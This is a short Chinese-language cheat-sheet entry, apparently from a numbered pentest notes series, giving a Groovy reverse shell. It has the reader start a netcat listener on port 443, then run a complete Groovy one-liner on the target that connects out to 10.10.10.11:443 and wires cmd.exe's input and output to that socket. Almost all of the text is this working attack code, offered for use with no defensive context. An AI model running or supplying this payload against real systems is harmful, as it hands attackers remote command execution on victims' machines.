007-Groovy版本反弹shell

# Groovy版本反弹shell

首先在本地监听TCP协议443端口

“`bash
nc -lvp 443

“`

然后在靶机上执行如下命令：

“`bash
String host=”10.10.10.11″;
int port=443;
String cmd=”cmd.exe”;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
